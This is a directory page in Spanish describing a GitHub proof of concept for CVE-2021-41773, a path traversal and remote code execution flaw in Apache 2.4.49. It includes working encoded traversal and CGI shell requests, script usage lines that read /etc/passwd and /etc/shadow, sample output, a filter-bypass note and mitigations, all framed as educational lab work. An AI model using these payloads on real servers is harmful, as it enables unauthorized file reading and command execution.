Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Herramientas/GitHubGitHub/joapath/cve-2021-41773
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Ver Repositorio
4hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.


Descripción

PoC desarrollada para demostrar y entender la vulnerabilidad CVE-2021-41773, presente en Apache HTTP Server 2.4.49.

El fallo reside en la función ap_normalize_path(), que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del DocumentRoot mediante una secuencia de caracteres codificados (%2e%2e%2f en lugar de ../), leyendo archivos arbitrarios del sistema.

Cuando el módulo mod_cgi estaba habilitado, la vulnerabilidad escalaba a RCE (Remote Code Execution), permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.


Condiciones necesarias para la explotación

El servidor debe cumplir todas estas condiciones para ser vulnerable:

Descargar herramienta
CondiciónDetalle
Versión de ApacheExactamente 2.4.49
Directiva de accesoRequire all granted en la configuración
Módulo CGImod_cgi habilitado (solo para RCE)

Cómo funciona el ataque

Fase 1 — Path Traversal

Apache 2.4.49 filtraba el clásico ../ pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f es la codificación URL de ../. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.

Fase 2 — RCE via mod_cgi

Con mod_cgi activo, el path traversal se usa para apuntar a /bin/sh en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

El output del comando llega en la respuesta HTTP.


Entorno de pruebas

La forma más limpia de reproducir la vulnerabilidad es con Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

O con una imagen manual de Apache 2.4.49 con la configuración vulnerable:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

Voy a dejar los archivos de configuracion que eh utilizado para la prueba.

Decisiones tecnicas para el exploit

  • ¿Por que 'urllib3' y no 'requests'?

    requests re-encodea automáticamente los caracteres del path antes de enviarlos. Eso rompe el payload porque el servidor recibe %252e en lugar de %2e. urllib3 permite enviar el path sin modificaciones.

  • ¿Por qué .%2e/ y no %2e%2e/?
    Apache filtra %2e%2e/ en el módulo mod_rewrite. La variante .%2e/ es semánticamente equivalente pero pasa el filtro, porque la normalización del path ocurre después de la validación.

Limitaciones

  • El módulo mod_cgi debe estar habilitado para que el modo RCE funcione. Sin él, solo es posible el path traversal.
  • El exploit no funciona si Apache está detrás de un WAF que filtre encoding doble en el path.
  • Probado únicamente contra Apache 2.4.49 en Linux. La versión 2.4.50 requiere un bypass adicional (ver CVE-2021-42013).

Uso del script

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumentos

ArgumentoRequeridoDescripción
--targetSíURL base del servidor (ej: http://localhost:8080)
--modeSítraversal para leer archivos, rce para ejecutar comandos
--cmdNoComando a ejecutar en modo rce (default: id)

Ejemplos

Leer /etc/passwd del servidor

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Ejecutar el comando 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Ejecutar un comando con espacios

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Output esperado — modo traversal

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Output esperado — modo rce

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigación

  • Actualizar Apache a versión 2.4.51 o superior.
  • Configurar Require all denied como valor por defecto.
  • Deshabilitar mod_cgi si no es estrictamente necesario.

Referencias

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ Este repositorio es únicamente con fines educativos.
El uso de este exploit contra sistemas sin autorización expresa es ilegal.
Probado exclusivamente en entornos locales controlados.

PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.